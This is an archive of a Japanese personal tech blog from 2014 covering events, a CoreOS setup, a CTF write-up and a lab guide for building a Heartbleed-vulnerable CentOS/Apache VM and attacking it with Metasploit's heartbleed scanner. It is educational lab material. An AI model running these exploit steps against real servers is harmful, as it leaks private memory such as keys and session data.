俺の2014年振り返り
最近毎年恒例のようになってきた今年の自分の振り返り。
振り返ると艦これと対魔忍ソシャゲやって酒飲んで寝てたら1年終わってた気がする。
毎度のことながら記憶力が無いのでGoogle Calendarやfoursquare見ながら振り返る。
1月。当時B3。正月は未だに貰っているお年玉片手にポンバシへ。 中盤は就活を取り敢えず始めつつも 毎年のことながら関西の男性向けオールジャンル同人誌即売会のComic Treasure23のためにインテックス大阪行ってついでに心斎橋のまんだらけとか寄ったりする。 30日に京都のメロンブックスで『提督の冬休み』をゲットしてる模様。 1月末から2月頭は定期試験を受けつつのらりくらり。
2-3月は主に就活をしていた。太ってパンパンになったスーツを着ながら中之島あたりへ何度か行く。 結果は全滅。10社強ほど書類出して通ったのが2社、1社は東京なのでごめんなさいして、もう1社も1次GWで落ちる。 これ以降「セキュスペもネスペも持ってても就活では全然役に立たへんぞ!」が持ちネタになる。原因は別のところな気がするが。 これを期に院進へ舵を切る。
他にはさくらインターネットさんのさくらの夕べに行って、懇親会で酔っ払った挙句さくらインターネットの田中社長と無理やり名刺交換を行うという粗相をする。 今思うとそれはいらん方向へ勇気出してどうする。
4月。晴れてB4へ。卒業要件単位のうち2科目ほど取りもらしてたので取り敢えず3科目ぶちこむ。 また4月頭は某ネットエージェント社のコレが面白そうだったので解いてたら 最終問題まで来たので、某遠隔操作事件さながら最終問題を取りに某府県境(関西1)の山に登る。帰り道、道を外れ遭難しかけるも無事下山。 問題はゲットするもその後色々やっても結局解けず。
なお、帰りに日本橋に寄るなど割と余裕だった模様。バカとも言う。
同じく4月、今度は後半、Twitter経由で渋谷のとあるベンチャー企業さんに呼ばれる。交通費全額出して下さるとのことだったので新幹線で悠々と行き ついでにアキバへも行く。その企業さんでは企業説明会という名の雑談を行う。心惹かれるも院の推薦入試の〆切とスケジュールがギリギリだったので結局大学院進学を決める。これにて学部の就活を終える。
5月。セキュリティ・キャンプキャラバンin大阪 2014へ行く。吉田James先生がEthernetフレームとかをhex手打ちで作り出したりhping
で手動3-way handshakeしたりホゲーなんかおかしなことやっとるなと絶句してた。
6月。院試には受かるもセキュキャンには落ちる。
年齢制限で来年の申込は不可不可してる。
ついでにはてなダイアリーからはてなブログへ移行したのもこの辺。
7月。SECCON2014オンライン予選に出たりしつつも、OSC京都に向けて色々準備を進める。 定期試験はなんなくやり過ごす。滋賀県知事選があったので投票率アップのため取り敢えず投票に行く。
8月。OSC京都2014 #osckansai でHeartbleedとか展示したりした。 というよりOSC京都のスタッフを今年も引き続きやった。詳しくは←記事を見ていただくとして、今年はB1の大学の学部・部活の後輩がスタッフとして何人か入ってくれたのがなかなか嬉しかった。
また、これもここ2-3年程行ってるけど夏コミにも行く。アキバにももちろん寄る。今年はビッグサイトからアキバへはりんかい線で新木場、新木場から京葉線で東京駅、んで山手線で秋葉原ルートを取ってみた。りんかい線、京葉線はめっちゃ空いてて良かったが東京駅の乗り換えが1つの駅とは思えぬほど長くて地獄だった。 なんだあの距離…ディズニーランド帰りの客を現実に戻すためにあるという噂が…。
他、京都の(株)はてなであった私立プログラミングキャンプというハッカソンに出てTCPの生ソケットでWebサーバもどき作って、http://localhost/404にアクセスすると404 Not FoundみたいにURLで指定されたステータスコードを返すというクソな出来栄えのコードをレッドブルを何杯も飲みつつ作る。
再びさくらインターネットさんのさくらの夕べ。今度はタダ飯タダ酒食って満足したりもしてた。サントリーローヤル美味しかったです。
他の出来事としては気の迷いで大学から叡山電鉄経由で帰ってたら、出町柳駅前でバス待ってたら虫に足を刺されまくるという事案等。
また、8月中頃から9月頭までKRPのとあるホスティングサービス運営会社さんでインターンシップをさせて貰う。一応大学の直系のOBの方から指示を受けつつデータセンターで作業したりと充実してた。お給料も結構貰った。
9月は再び同人誌即売会のComic Trasure24へ行ったりした。また、部活関連でKC3という立命館大学コンピュータクラブさん主催の情報系大学サークルの交流会みたいなのに今年も参加した。去年一昨年は勉強会を主催したけど流石に今年はその任は後輩にやって頂いて、今年はabcang氏主催のMIPSリバースエンジニアリング会でもくもくとアセンブリのコードをCに直してた。また、programmerMOT氏と一緒に酔っぱらってた。
10月。オワスプナイトカンサイ~OWASPローカルチャプターミーティング in関西 3rd~に参加。かのhasegawayosuke氏の話を酒を飲みながら聞けるという僥倖。お前また酒飲んでないか。
中盤には関西コミティアという創作系同人誌即売会へはじめて行ってみる。どちらかと言うと創作系なので女性が多いというか、なんとなく美大の感覚に近い感じがした。普段購入のメインターゲットは男性向けなのでどちらかと言うと毎年同じ日に被る東方紅楼夢の方が好み的には合うけど、こっちも結構心地よい雰囲気で好きだった。なるほど、参加者層がうまいこと分かれてるから同日開催でも問題無いのかなぁ。
11月。学祭の時期だがほとんど胃の調子がアレゲで行けず。一応京大の学祭は日が離れてたので行く。本とか買った。帰りに開店したてだったらしんばんアバンティ店にも寄った。京都駅近傍でエロ同人誌が買えるとは良い時代だ。
一応毎年行ってるので関西オープンフォーラムには行く。懇親会で何故か部活のOGの方と会うなど色々有意義であった。講演はErlangの話とかを聞いたり、CTFの妨害コンテンツのバイナリかるたを外野からちゃちゃ入れたりしてた気がする。
12月。カーネル/VM探検隊@関西 7回目のため再び京大へ。めちゃくちゃ低レイヤ高レベルの話が多くて( ゚д゚)ポカーンってなってた。
選挙にも行ってた。
で年末は研究室の忘年会で酔っ払ったり(また飲んでる)してた。で、12/30は大掃除というか要らん書類なんかをまとめてゴミに出したりして、夜にこれを書いてる。
クリスマスプレゼントという名目でゲットしたIntel Edisonを弄りたいがいまだ弄れず。
一方卒論最終〆切まで1ヶ月切ってるにも関わらず進捗ダメです。
今年の振り返りとしては
- お酒は飲み過ぎないように(多分酒のせいで体重が落ちない)
- 進捗は着実に
来年の抱負としては
- お酒は飲み過ぎないように
- 進捗はちゃんと出しましょう
と致したいと思います。では良いお年をお迎えください。
CoreOSをVirtualBoxに手動でセットアップしたらめんどくさかった
最近CoreOSやらDockerやらの名前をよく聞くので面白そうと思って入れてみた。
ホストOSはOS X Mavericks。
OS XなのでBoot2Dockerとか使うほうが楽な気がするけど他の仮想マシンもVirtualBoxで管理してるのでCoreOSもVirualBoxに入れた。
構成としてはVirtualBox内のDockerからはインターネットへの通信とホストのOS Xとの通信が可能なようにした。また、SSHで繋ぐ関係上IPアドレスを固定にした。これが一番めんどくさかった。
最初に言っとくとさらっと書いてるけど2日間くらい四苦八苦したので特に理由が無ければVagrant使うといいと思います。Vagrant使わなかったのはフォルダの管理があんまり好きじゃなかったから。
セットアップ
まずhttps://coreos.com/からセットアップ時に使うCoreOSのISOイメージをダウンロード。Download CoreOSのISO Imageから飛んだ先でダウンロード。
で、その間にでもVirtualBoxの下準備。仮想マシンを新しく作る。色々なコンテナを入れることが予想されるのでメモリと仮想ハードディスクは多めに取っておいた。アーキテクチャは「CoreOS」って名前で作るとOracleの64bitになるのでそれでいいはず。
作ったら設定から色々いじるんだけど、必須なのはネットワーク周りでインターフェイス1はNATのままでいいんだけどインターフェイス2などでホストオンリーアダプタを追加しないとホストとは通信できないので設定。他、ついでにCPUコア割り当てを1個じゃアレなので2個くらいに増やしとく。
そんでもってISOイメージのダウンロードが終わったらVirtualBoxの仮想ドライブにマウント。
で、ブート。
インストール
概ね公式ドキュメント通りなんだけど、今回は色々設定いじるので設定用のファイルcloud-config.yamlを作る。
そのファイルに記載すべきなのは
- 接続元のSSHの公開鍵
- これは俺の場合GitHubに登録してるのでhttps://github.com/tasuten.keysみたいなURLからダウンロードするなり*1
~/.ssh/id_rsa.pub
を覗くなりする
- これは俺の場合GitHubに登録してるのでhttps://github.com/tasuten.keysみたいなURLからダウンロードするなり*1
- IPアドレス固定のためのネットワーク設定ファイルの設定
- CoreOSはネットワークインターフェイス周りを
systemd-networkd
で管理なさるのでその流儀にしたがって - ここではブート後に
ifconfig
とかroute -n
とかして、ゲスト側のホストオンリーアダプタのインターフェイス名がenp0s8
、あとNATのデフォルトゲートウェイが10.0.2.2
だったので以下の様に作る。 - あと、固定したいIPアドレスはVirtualBoxのデフォルトの設定だと
192.168.56.101-192.168.56.254
だった気がするのでその範囲で
- CoreOSはネットワークインターフェイス周りを
#cloud-config write_files: - path: /etc/systemd/network/10-host-only.network content: | [Match] Name=enp0s8 [Network] Address=192.168.56.1XX/24 Gateway=10.0.2.2 ssh_authorized_keys: - ssh-rsa AAAAB3[以下略]
注意点としては
- YAMLのフォーマットから外れてるとインストール後失敗に気づくのでCloud-Config Validatorでvalidation checkしとく
- Gatewayには
enp0s8
はホストオンリーのインターフェイスだけどGatewayはNATの方を指定する。じゃないとNATの方でもDHCPで降ってきて結果的にデフォルトゲートウェイがダブってNAT使えなくてインターネット繋げなくて辛くなる - 1行目の
#cloud-config
は仕様上必要らしいよ
こうして用意したcloud-config.yamlを起動したCoreOSへ持っていく。ホストのOS X側で作ったYAMLファイルを、ワンライナーか何かでHTTPサーバ立てて一時的に公開して、CoreOS側でwget 192.168.56.1:10000/cloud-config.yaml
とかすると楽。
ちなみにCoreOS君はJISキーボードじゃなくてUSキーボードで動くから:
はShift+;
な。他JISキーボードだといろんな記号が打ちにくいけど我慢して。
で、CoreOSではこんなかんじの操作する
coreos $ sudo su coreos # wget url-to-cloud-config.yaml coreos # coreos-install -d /dev/sda -C stable -V current -c cloud-config.yaml -v
CoreOSのstable版のcurrentバージョンのOSイメージを取りに行くので結構時間かかる。Wi-Fiで10-20分くらい掛かったっけな。オプションの意味はhttps://coreos.com/docs/running-coreos/bare-metal/installing-to-disk/を見ていただくとして、小文字の-v
はverboseのvなので別に無くてもいい。
-V
もホントは無くて良かったはずなんだけど、どうやらオプション無しで取りに行くバージョンがNot Found食らったので明示的にバージョンをcurrentに指定してる。
終わったらshutdown -h now
して、VirtualBoxの設定画面からISOイメージを取り出して再起動。
で、ここが重要なんだけど、1回目の起動では上記の設定が反映されないのでログインプロンプト出ても問答無用で×ボタンからシャットダウン。もう一度起動すると設定が反映され、表示されるIPアドレスが設定通りになるのでようやくホストのOS X側からssh
。初めて接続する場合はfingerprintの警告が出るのでyes。なんかエラー出たら~/.ssh/known_hosts
にIPアドレスが該当するエントリが既に無いか確認して有ればその行を削除してsshしなおし。公開鍵認証なので少し時間かかることもあるけどひとまず待つ。
host(OS X) $ ssh core@192.168.56.1XX Last login: [略] CoreOS (stable) core@localhost ~ $
一応ping 8.8.8.8
とかして疎通確認しとくと良い。
試しにDockerでnginxでも入れてみる
core@localhost ~ $ docker run -d -p 80:80 dockerfile/nginx [色々取りに行くので気長に待つ。 終わったらホストOSからhttp://192.168.56.1XX/にでもアクセスして、 nginxのページが出れば成功]
なお、nginxを止めるには、↑のコマンドの最後に出てくるImage ID(ハッシュ値)を1a2b3c...とするとdocker stop 1a2b3c
とかする。要らなくなったイメージとかを消すにはDockerで不要になったコンテナやイメージを削除する - @znz blog見ながら頑張れ。
そろそろ卒論近づいてきて時間が少しずつ削れてるけど頑張ります
*1:もちろんtasutenの部分は各自自分のIDで
OSC京都2014 #osckansai でHeartbleedとか展示した
もう一週間も前になりますがOSC京都2014の感想というか振り返り。
僕自身はOSC京都ローカルスタッフとして準備やブースツアーなどで働きつつも 多くの時間は「OSC京都ローカルスタッフ有志」という形で出したブースに居た。
この「OSC京都ローカルスタッフ有志」というブースではテーマとしては「コンピュータの原理に触れよう!」として色んな展示などをして居た。その中でも僕はid:pinksawtooth氏ともう一人の方と一緒にネットワーク関連の展示というかブースみたいなのを出してた。
で、最初はスライドみたいなのを見せつつやろうかなと考えてたんだけど直前に「もうちょい実践的な方が良いよね」とのフィードバックを頂き急遽手探りながらも色々トライした。 本当はtelnetでHTTP直打ちとかなんとなく考えはしてたんだけど結局会場の空気的にちょっとむずかしいかなと思って 1日目は持ってきた機器でネットワークを組んでtcpdumpを見せてたんだけどやっぱり黒い画面によってくるような人は少なくて難儀した。そんで考えたところ、2日目からはOpenSSL+nginxでHeartbleedなHTTPSサーバを建てて、PythonのPoCで実際にHeartbleedを突いてHTTPSの通信が漏れるのを展示したりした。
反響はホワイトボードに冷やし中華よろしく「Heartbleedはじめました」とか書いたりTVニュースにもなってた脆弱性の知名度のおかげなのか割と上々だった。 僕は直接は気づかなかったんだけど、先の一緒にやってたメンバー曰くアップデートの対応に追われた/追われてる方が死んだ目で見ながら逃げるように去って征かれたとの話を聞いた。
また、Heartbleed以外にも見栄えがするものということでサイバー攻撃をリアルタイムに地図に可視化したhttp://map.ipviking.com/というサイトを見せたりもした。「ATTACK ORIGIN(攻撃元)にやっぱりCHINA多いですよねー」とか「ATTACK ORIGINにGov/Mil(合衆国政府・軍)が有りますけどこれ何でしょうねー。地図では緯度経度0度の点になってますけど」とか話してた。
一応イベント自体は大きな問題は無くうまく終わってホッとしたし、いい感じに盛り上がってたので非常に良かった。
今年はローカルスタッフとしてうちの学部の後輩がいっぱい来てくれたのも嬉しかった。
懇親会やブースでいろんな方と話したり、スナック宮原びぎねっとの宮原さんの泡盛が美味しかったり、
後輩が懇親会のじゃんけん大会で当てたワタシハLinuxチョットデキルTシャツを羨ましそうに眺めたりしてた。
ちなみに僕はじゃんけん大会ではBROCADEのうちわをゲットした。後でよく見るとInterop Tokyoのうちわっぽかった。
というわけで今年もお疲れ様でした&ありがとうございました。 多分僕は院進でまだ京都に居て、来年もローカルスタッフとして参加すると思うので、 ぜひ来年もよろしくお願いします。
SECCON2014オンライン予選write-up
ソロで試しに出てみた。 解けたのは練習問題とパケット解析とアニメーションGIFのと暗号だけだった。
練習問題
クリックして終わり
パケット解析
pcapなのでWireSharkで開く。FTPは平文。ユーザ認証のPASSがFLAGかと思って試すもNo.
RETR flag.txt
とかやってるのがあったのでその応答TCPパケットのペイロード見ると
ASCIIの文字列が。base64でデコードして終わり。
アニメーションGIF
他の方見るとPhotoshoper多いけど俺はimagemagickで解く。
1枚ずつばらして透過させて重ねるとQRコード。白背景黒塗りに編集してiPod touchで読み込んで終わり。 imagemagick便利。
暗号
ASCII部分を見るとROT13っぽかったけどどうも文字化けしてるっぽい。ROT13/47というのがあってnkf -r
でデコード出来たので終わり。
感想
CTFer怖い
ゼロ除算でイージス艦が2時間半止まった話
1997年9月21日バージニア州ケープ・チャールズ沿岸を航行中に、乗組員がデータベースフィールドに0を入力したために艦に搭載されていたRemote Data Base Managerでゼロ除算エラーが発生し、ネットワーク上の全てのマシンのダウンを引き起こし2時間30分にわたって航行不能に陥った。 これは搭載されていたWindows NT 4.0そのものではなくアプリケーションによって引き起こされたものだったが、オペレーティングシステムの選択への批判が続いた。
このWikipedia記事の英語版にはより詳細が書かれていて、Pentium ProベースのCPUが積まれてただの色々載っていたり。
Metasploit Frameworkで独自に書いたモジュールの置き場所
例えばMetasploit Frameworkで新しくモジュールを書いてみたいけど、 Metasploit Frameworkをインストールしたディレクトリを直にいじるのは行儀が悪いという人に対して。
結論だけ言うと、今のところ~/.msf4/modules/
以下にディレクトリ掘って置けば良い。
より正確に言うと、~/.msfX/
、ただしXはMetasploit Frameworkのメジャーバージョンの番号。
今現在では4.9.3
とかなのでXは4になって~/.msf4/
という寸法。
その下に元のMetasploit Frameworkと同じようなディレクトリ構成で置けばいいから、モジュールの場合~/.msf4/modules/
になって、例えばHTTPのスキャナなら~/.msf4/modules/auxiliary/scanner/http/hoge.rb
と言った具合。ディレクトリが深いのでmkdir -p ~/.msf4/modules/auxiliary/scanner/http/
とかしてからファイル作ると良い。
この辺は/path/to/metaspoit-framework/lib/msf/base/config.rb
の前の方に書いてあるのをag
コマンドとかで検索して見つけた。
ついでに言うとモジュールを書き換えたらmsfconsole
を再起動するか、msf> reload_all
してからそのモジュールをuseし直さないと更新されないっぽい。
CentOS6.5+VirtualBoxでHeartbleedなサーバを建ててMetasploitで突っついて遊ぶお話
表題の通りやってみたのでメモ書きとして残しておく。
サーバ構築はほぼ初めてなので色々誤謬があると思いますので話半分でお願いします。
どうやら世間ではVagrantなるものが流行っとるそうですがそんなもの使わず俺はゴリゴリ行くぜー…
1. CentOSのインストール
CentOS6.5 x86_64 minimalをDownload - CentOS Wikiの適当なミラーサーバからDL。僕は関西に住んでるので地理的に近そうなNAISTのhttp://ftp.nara.wide.ad.jp/からDLした。
VirtualBoxでRedHatの64bitで適当な名前の仮想マシンを作る。上記のCentOSのISOイメージを設定からマウントさせて起動する。
途中の設定の注意点はキーボード設定をjp106
、タイムゾーンをAsia/Tokyo
にするのを忘れずに。
後、rootのパスワードは忘れないように。他の設定は適当でもいい。
光学メディア経由で無くハードディスクからハードディスクなので数分と短めの時間で終わった。
2. CentOSの設定
root:さっきのrootパスワード
でrootで入れる。
2.1 ネットワークアダプタ周り
まず、ネットワーク設定をする。デフォルトのままだとアダプタ1がNATになってるので、それは各種インストールが終わるまでそのまま。
ただ、このままだとVirtualBoxのホストOSとの通信が出来ないので、アダプタ2をホストオンリーアダプタにする。その際下に出るMACアドレスを忘れずにメモする。ここではca:fe:ba:be:de:ad:be:af
とでもしておく。
まず、アダプタ1(NAT)に当たっている/etc/sysconfig/network-scripts/ifcfg-eth0
をvi
などで少し書き換える。ONBOOT=yes
にしておくと起動時にonになるので便利。ただしこれはどっちみち後でnoに戻すので毎回# ifup eth0
などで凌いでもいい。
次にアダプタ2(ホストオンリーアダプタ)に当たる/etc/sysconfig/network-scripts/ifcfg-eth1
を作る。上記のifcfg-eth0
をcp
すると楽。内容は以下の様な感じに。IPADDR
はコリジョンしない程度に好きなアドレスに。ca:fe:ba:be:de:ad:be:af
は上記でメモしたMACアドレスに。
なお、本当はこっちもDHCPで割り振りたかったけどそれだとエラーが出たので固定にしている。 また、固定の方がMetasploitなどから指定するときに楽といえば楽。
DEVICE=eth1 HWADDR=ca:fe:ba:be:de:ad:be:af TYPE=Ethernet ONBOOT=yes NM_CONTROLLED=yes BOOTPROTO=static IPADDR=192.168.56.xxx NETMASK=255.255.255.0 NETWORK=192.168.56.0
そして# service network restart
で設定再読み込みかCentOS自体を再起動。これでCentOSからはインターネットへはNATで、VirtualBoxのホストOSへはホストオンリーアダプタでpingが通るはず。また、ホストOSからもCentOSへpingが通るはず。
参考:
2.2 iptables周り
ただし、iptables(ファイアーウォール的なもの)の関係上このままだとApacheを建ててもiptablesで弾かれてアクセス出来ない。
ので、vi /etc/sysconfig/iptables
を書き換えてHTTP(80)、HTTPS(443)を通す。
外部に公開するサーバならSSHの22番を10022番とか違う値に変えたほうがアタックされにくくなっていいのかもしれないけど、今回は実験用で最終的には内部のみで使う予定なのでそのまま。
なお、ファイルの書き換えは元からある-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
の行をyy
でヤンクしてp
asteするのが早い。
# Firewall configuration written by system-config-firewall # Manual customization of this file is not recommended. *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A INPUT -i lo -j ACCEPT # SSH, HTTP, HTTPS -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -A INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -A INPUT -j REJECT --reject-with icmp-host-prohibited -A FORWARD -j REJECT --reject-with icmp-host-prohibited COMMIT
これで# service iptables restart
かCentOS再起動でネットワーク周りはOKなはず。
なお、上記の設定が面倒ならいっそ内部向けと割りきってiptablesを無効にしても良いのかも。
参考:
iptables (ファイアーウォール)の設定 〜 CentOS6 | EasyRamble
3. Apache HTTPdのインストール
ネットワーク周りを上記にまとめたら必然的にこんな場所になったけど、もっと先、例えばNATが有効になった時点で行っても良い。
# yum install -y httpd mod_ssl
そして取り敢えず起動するついでに自動起動をオンにする。
# chkconfig httpd on # service httpd start
取り敢えずホストOSからでもhttp://192.168.56.xxx/とかにアクセスしてみると良い。エラー画面が出たら多分どっかで失敗してるのでトラブルシューティング頑張れ♥頑張れ♥(伊東ライフ先生)
なお、OpenSSLについてはCentOSは元からインストール済みで、6.5の場合ちょうどHeartbleedに脆弱なバージョンだったのでここでは再インストールはしていない。けど多分だけどyumでバージョン指定インストール出来たはず。OpenSSLのバージョンはopenssl version
で確認可能。
Haertbleedに脆弱なOpenSSLのバージョンについては、
以下のバージョンが本脆弱性の影響を受けます。
OpenSSL 1.0.1 から 1.0.1f
OpenSSL 1.0.2-beta から 1.0.2-beta1
つまり0.9.x系とかは脆弱ではないので敢えて脆弱なマシンを作る場合注意? 例えばMetasploitable2なんかは0.9.x系統。
4. HTTPSの設定
OpenSSLで鍵とオレオレ証明証を作る。仮に証明証を格納する場所を/etc/httpd/ssl
とすると
# mkdir /etc/httpd/ssl # cd /etc/httpd/ssl
オレオレ証明書をopensslで作る(詳細版) - ろば電子が詰まっているを参考に
# openssl genrsa 2048 > server.key # openssl req -new -key server.key > server.csr # openssl x509 -days 3650 -req -signkey server.key < server.csr > server.crt # rm server.csr
途中の各項目はオレオレ証明証だし適当でいいと思う。
/etc/httpd/conf.d/ssl.conf
のこの2つの項目を書き換え
SSLCertificateFile /etc/httpd/ssl/server.crt SSLCertificateKeyFile /etc/httpd/ssl/server.key
# service httpd restart
でApacheを再起動してhttps://192.168.56.xxx/にアクセス。証明証の警告は無視して繋いでみる。Firefoxだとどうしても行かせようとしてくれないのでChromeとかで試した方がいい。Apacheのページが出ればOK。
5. Metasploitでexploit
Detecting OpenSSL-Heartbleed with Nmap & Exploiting with Metasploit | CYBER ARMS - Computer Securityを参考に。
$ /path/to/msfconsole バナーがどーん msf > search heartbleed [!] Database not connected or cache not built, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > set RHOSTS 192.168.56.xxx RHOSTS => 192.168.56.xxx msf auxiliary(openssl_heartbleed) > set VERBOSE true VERBOSE => true msf auxiliary(openssl_heartbleed) > run 色々出て楽しい!!✌('ω'✌ )三✌('ω')✌三( ✌'ω')✌
その他
- Nmapは反応が重いので取り敢えず確認なら
$ nmap -p80,443,22,53,123 192.168.56.xxx
みたいにポート指定でするといいと思う。 - インストールが無事終わったら脆弱性を抱えたマシンをインターネットへつなぐのは色々ダメなので
/etc/sysconfig/network-scripts/ifcfg-eth0
のONBOOT
をno
に戻してNAT接続をなるべくしないようにしましょう。というかVirtualBoxの設定からNATインターフェイスを無効にすべきか
追記:
Vagrantだとこんなのあるそうですよ→diracdeltas/heartbox
Sets up a basic Freebsd 10.0 VirtualBox running Apache 2.4 and OpenSSL 1.0.1e-freebsd for playing with heartbleed exploits.